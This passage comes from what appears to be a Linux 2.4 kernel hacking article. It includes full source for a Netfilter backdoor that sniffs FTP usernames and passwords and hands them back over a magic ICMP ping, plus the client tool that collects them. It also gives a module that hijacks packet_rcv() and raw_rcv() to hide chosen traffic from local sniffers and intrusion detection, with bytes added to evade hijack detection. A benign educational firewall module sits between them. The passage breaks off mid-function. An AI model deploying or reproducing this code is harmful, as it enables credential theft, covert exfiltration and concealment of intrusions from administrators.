     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:		       /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
	{
	   unsigned char t_hwaddr[ETH_ALEN];
	   
	   /* Move the data pointer to point to the link layer header */
	   sb->data = (unsigned char *)sb->mac.ethernet;
	   sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
	   memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
		  ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
	   break;
	}
   };
 
   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->

------[ 5.2.2 - getpass.c

<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD		       /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];	       /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
	fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
	exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
	fprintf(stderr, "Couldn't open raw socket! %s\n",
		strerror(errno));
	exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
		  ptr_one, sizeof(one)) < 0) {
	close(icmp_sock);
	fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
	        strerror(errno));
	exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
	       sizeof(struct sockaddr)) < 0) {
	fprintf(stderr, "\nFailed sending request! %s\n",
		strerror(errno));
	return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
		 &src_addr_size) < 0) {
	fprintf(stdout, "Failed getting reply packet! %s\n",
		strerror(errno));
	close(icmp_sock);
	exit(1);
    }
	
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
    	   sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
	     (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
	     (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
<-->


--[ 6 - Hiding network traffic from Libpcap

   This section will briefly describe how the Linux 2.4 kernel
 can be hacked to make network traffic that matches predefined
 conditions invisible to packet  sniffing software  running on
 the local machine.  Presented at the  end of  this article is
 working  code that will  do such a thing for all IPv4 traffic
 coming from or  going to a particular  IP address.  So  let's
 get started shall we...
 
----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap

   Some of the most useful software for a system administrator
 is that which  can be classified  under the  broad  title  of
 "packet sniffer".  Two of the most common examples of general
 purpose packet sniffers are  tcpdump(1) and Ethereal(1). Both
 of these applications utilise the Libpcap library  (available
 from [1] along with tcpdump) to capture raw packets.  Network
 Intrusion  Detection  Systems  (NIDS)  also  make  use of the
 Libpcap library.  SNORT requires Libpcap, as does  Libnids, a
 NIDS  writing  library that  provides  IP  reassembly and TCP
 stream following and is available from [2].
 
   On Linux systems, the Libpcap library uses the  SOCK_PACKET
 interface.  Packet sockets  are special  sockets  that can be
 used to send and receive raw packets at the link layer. There
 is a lot that can be said about packet sockets and their use.
 However, because this  section is about  hiding from them and
 not using them,  the interested  reader is  directed  to  the
 packet(7) man page.  For the  discussion  here,  it  is  only
 neccessary to understand that packet sockets are what Libpcap
 applications use to get the information on raw packets coming
 into or going out of the machine.
 
   When a packet is received by the kernel's network  stack, a
 check is  performed to see  if there  are any packet  sockets
 that would be  interested in this packet.  If there  are then
 the packet is delivered to those interested sockets.  If not,
 the packet simply  continues on it's  way to the  TCP, UDP or
 other socket type that it's  truly bound for.  The same thing
 happens for sockets  of type SOCK_RAW.  Raw sockets  are very
 similar to packet sockets,  except they do not  provide  link
 layer headers.  An  example of a  utility  that utilises  raw
 IP  sockets is my SYNalert  utility, available at [3]  (sorry
 about the shameless plug there :).

   So now you  should see  that packet  sniffing  software  on
 Linux uses the Libpcap library.  Libpcap utilises the  packet
 socket  interface  to obtain raw  packets with link layers on
 Linux systems.  Raw sockets  were also mentioned which act as
 a way for user space  applications to obtain packets complete
 with IP headers.  The next  section will  discuss how  an LKM
 can be used to hide network traffic from these packet and raw
 socket interfaces.


------[ 6.2 Wrapping the cloak around the dagger

   When a packet is  received and sent to a packet socket, the
 packet_rcv() function  is called.  This function can be found
 in  net/packet/af_packet.c.  packet_rcv() is  responsible for
 running the  packet through any  socket  filters that  may be
 applied  to the  destination  socket  and  then the  ultimate
 delivery of the  packet to  user space.  To hide packets from
 a packet  socket we need to prevent  packet_rcv()  from being
 called  at all for certain packets.  How do we do this?  With
 good ol'-fashioned function hijacking of course. 
 
   The basic operation of  function  hijacking  is that  if we
 know the  address of a kernel  function,  even one that's not
 exported, we can  redirect that function to  another location
 before  we allow  the real code to run.  To do this we  first
 save  so  many of the  original  instruction  bytes from  the
 beginning of the  function and replace them with  instruction
 bytes that perform an absolute jump to our own code.  Example
 i386 assembler to do this is given here:
 
        movl  (address of our function),  %eax
	jmp   *eax
 
   The generated hex bytes of these instructions (substituting
 zero as our function address) are:
 
        0xb8 0x00 0x00 0x00 0x00
	0xff 0xe0
 
   If in the  initialisation of an LKM we  change the function
 address  of  zero  in  the  code  above to  that of our  hook
 function, we can make our hook function run first.  When (if)
 we want to run  the original  function we simply  restore the
 original bytes at the  beginning, call the function  and then
 replace  our  hijacking code.  Simple, but  powerful.  Silvio
 Cesare has written a  document a while  ago detailing  kernel
 function hijacking. See [4] in the references.

   Now to hide  packets from  packet  sockets we need to first
 write the hook  function that will  check to see if a  packet
 matches our criteria to be hidden.  If it does, then our hook
 function simply returns zero to it's caller and  packet_rcv()
 never  gets called.  If packet_rcv()  never gets called, then
 the  packet is  never  delivered  to the  user  space  packet
 socket.  Note  that it is only the *packet*  socket that this
 packet will be dropped on.  If we want to filter FTP  packets
 from being sent to  packet sockets then the  FTP server's TCP
 socket will  still see the  packet.  All that  we've done  is
 made that packet  invisible to any sniffer  software that may
 be running on the host.  The FTP server will still be able to
 process and log the connection.
 
   In theory that's all there is too it.  The same  thing  can
 be  done for raw  sockets as well.  The difference is that we
 need to hook  the  raw_rcv()  function (net/ipv4/raw.c).  The
 next  section will  present and  discuss  source  code for an
 example LKM that will  hijack the packet_rcv() and  raw_rcv()
 functions and hide any  packets going to or coming from an IP
 address that we specify.


--[ 7 - Conclusion

Hopefully by now you have at least a basic understanding of what Netfilter
is, how to use it  and what you can do with it. You should also  have  the
knowledge to hide special network traffic from sniffing software running on
the local machine.If you would like a tarball of the sources used for this
tutorial then just  email me.  I  would also  appreciate any  corrections,
comments  or suggestions. Now I leave it to you and your imagination to do
something interesting with what I have presented here.


--[ A - Light-Weight Fire Wall
----[ A.1 - Overview

The  Light-Weight  Fire  Wall  (LWFW)  is  a  simple  kernel  module  that
demonstrates  the basic  packet  filtering  techniques that were presented
in section 4.LWFW also  provides a control  interface  through the ioctl()
system call.

Because the LWFW source is  sufficiently  documented I will  only  provide
a brief overview  of how it  works.  When the  LWFW  module  is  installed
its  first  task  is to try and  register the  control  device.  Note that
before the ioctl()  interface to LWFW can be used, a character device file
needs to be made in /dev.  If the control device registration succeeds the
"in use" marker is cleared and  the hook function for  NF_IP_PRE_ROUTE  is
registered. The clean-up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the
order of processing:
  -- Source interface
  -- Source IP address
  -- Destination TCP port

The specifics of these rules are set with the ioctl() interface.
When a packet is received LWFW will check it against all the rules which
have been set. If it matches any of the rules then the hook function will
return NF_DROP and Netfilter will silently drop the packet. Otherwise
the hook function will return NF_ACCEPT and the packet will continue
on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a
packet comes into the hook function and LWFW is active the total
number of packets seen is incremented. The individual rules checking
functions are responsible for incrementing their respective count of
dropped packets. Note that when a rule's value is changed its count of
dropped packets is reset to zero. The lwfwstats program utilises the
LWFW_GET_STATS IOCTL to get a copy of the statistics structure and
display it's contents.


----[ A.2 - The source...  lwfw.c

<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
 * Netfilter for 2.4. Designed for educational purposes.
 * 
 * Written by bioforge  -  March 2003.
 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <asm/errno.h>
#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
		      unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
 * can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
 * If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
				    | LWFW_IP_DENY_ACTIVE
				    | LWFW_PORT_DENY_ACTIVE);

static int major = 0;		       /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
 * Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */

/* 
 * This is the interface device's file_operations structure
 */
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL			       /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
 * This is the function that will be called by the hook
 */
unsigned int lwfw_hookfn(unsigned int hooknum,
		       struct sk_buff **skb,
		       const struct net_device *in,
		       const struct net_device *out,
		       int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
   
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
   
   lwfw_statistics.total_seen++;
   
   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
	 lwfw_statistics.if_dropped++;
	 lwfw_statistics.total_dropped++;
	 return NF_DROP;
      }
   }
   
   /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   return NF_ACCEPT;		       /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);

   copy_to_user(statbuff, &lwfw_statistics,
		sizeof(struct lwfw_stats));
   
   return 0;
}

/* Function that compares a received TCP packet's destination port
 * with the port specified in the Port Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th. 
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
   
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }

   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
 * with the address specified in the IP Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
   
   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;		       /* Duplicate interface */
   
   /* Make sure the name is non-null */
   NULL_CHECK(name);
   
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
   
   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }

   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s\n", deny_if);
   
   return ret;
}

static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
   
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
	  ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
	  (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
   
   return 0;
}

static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
   
   printk("LWFW: Set to deny for TCP port: %d\n",
	  ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
	  
   return 0;
}

/*********************************************/
/* 
 * File operations functions for control device
 */
static int lwfw_ioctl(struct inode *inode, struct file *file,
		      unsigned int cmd, unsigned long arg)
{
   int ret = 0;
   
   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated.\n");
       if (!deny_if && !deny_ip && !deny_port) {
	  printk("LWFW: No deny options set.\n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
       printk("LWFW: Deactivated.\n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
       ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
       ret = set_ip_rule((unsigned int)arg);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule((unsigned short)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };
   
   return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      MOD_INC_USE_COUNT;
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   MOD_DEC_USE_COUNT;
   return 0;
}

/*********************************************/
/*
 * Module initialisation and cleanup follow...
 */
int init_module()
{
   /* Register the control device, /dev/lwfw */
      SET_MODULE_OWNER(&lwfw_fops);
   
   /* Attempt to register the LWFW control device */
   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
				&lwfw_fops)) < 0) {
      printk("LWFW: Failed registering control device!\n");
      printk("LWFW: Module installation aborted.\n");
      return major;
   }
   
   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

   printk("\nLWFW: Control device successfully registered.\n");
   
   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;	           /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */
   
   /* And register... */
   nf_register_hook(&nfkiller);
   
   printk("LWFW: Network hooks successfully installed.\n");
   
   printk("LWFW: Module installation successful.\n");
   return 0;
}

void cleanup_module()
{
   int ret;
   
   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);

   /* Now unregister control device */
   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
      printk("LWFW: Removal of module failed!\n");
   }

   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);
   
   printk("LWFW: Removal of module successful.\n");
}
<-->

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
 * 
 * A very simple Netfilter module that drops backets based on either
 * their incoming interface or source IP address.
 * 
 * Written by bioforge  -  March 2003
 */

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
 * Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw" 

/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
 * print anything with printk(). This is included for debugging purposes.
 */
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
 * Note that whenever a rule's condition is changed the related
 * xxx_dropped field is reset.
 */
struct lwfw_stats {
   unsigned int if_dropped;	       /* Packets dropped by interface rule */
   unsigned int ip_dropped;	       /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;	       /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};

/* 
 * From here on is used solely for the actual kernel module
 */
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
 * a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    \
   if ((ptr) == NULL)  return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif				       /* __KERNEL__ */
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
	$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
	rm -rf *.o
	rm -rf ./*~
<-->


--[ B - Code for section 6

   Presented  here is  a  simple  module that will  hijack the
 packet_rcv() and raw_rcv() functions to hide  any packets  to
 or from the  IP address  we specify.  The default  IP address
 is set to 127.0.0.1, but this  can be changed by changing the
 value of  the  #define IP.  Also  presented is a  bash script
 that will get the addresses for the required functions from a
 System.map  file  and run  insmod  with  these  addresses  as
 parameters in the required  format.  This loader  script  was
 written by  grem.  Originally for  my Mod-off project, it was
 easily  modified to suit  the module  presented here.  Thanks
 again grem.
 
   The presented module  is proof-of-concept  code only and as
 such, does not have anything in the way of module  hiding. It
 is also  important to  remember that although this module can
 hide  traffic  from a  sniffer  running on the  same  host, a
 sniffer on a different host, but on the same LAN segment will
 still see  the packets. From what is presented in the module,
 smart  readers  should have  everything  they need to  design
 filtering functions to block any kind of packets they need. I
 have successfully used the technique presented  in this  text
 to hide control and information retrieval packets used by  my
 other LKM projects.
 
 
<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
 * which is used to pass packets to  Libpcap applications
 * that use  PACKET sockets.  Also  hijacks the raw_rcv()
 * function. This is used to pass packets to applications
 * that open RAW sockets.
 * 
 * Written by bioforge  -  30th June, 2003
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h>		       /* For struct ip */
#include <linux/if_ether.h>	       /* For ETH_P_IP */

#include <asm/page.h>		       /* For PAGE_OFFSET */

/* 
 * IP address to hide 127.0.0.1 in NBO for Intel */
#define IP    htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
		  struct packet_type *pt);
MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, \
					     sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, \
						  sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
 * Note that the hijack code also provides 3 additional
 * bytes ( inc eax;  nop;  dec eax ) to try and throw
 * simple hijack detection techniques that just look for
 * a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide
 * all packets with a source or destination IP address that we
 * specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
	       struct packet_type *pt)
{
    int sl_flags;		       /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
	return 0;		    /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
 * all packets with a source or destination IP address that we
 * specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;		       /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
	return 0;		    /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;		       /* Flags for spinlock */
    
    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
	printk("Address for packet_rcv() not valid! (%08x)\n",
	       (int)pr);
	return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
	printk("Address for raw_rcv() not valid! (%08x)\n",
	       (int)rr);
	return -1;
    }
         
    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
    
    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
    
    EXPORT_NO_SYMBOLS;
    
    return 0;
}

void cleanup_module()
{
    int sl_flags;
    
    lock_kernel();
    
    HIJACK_LOCK;
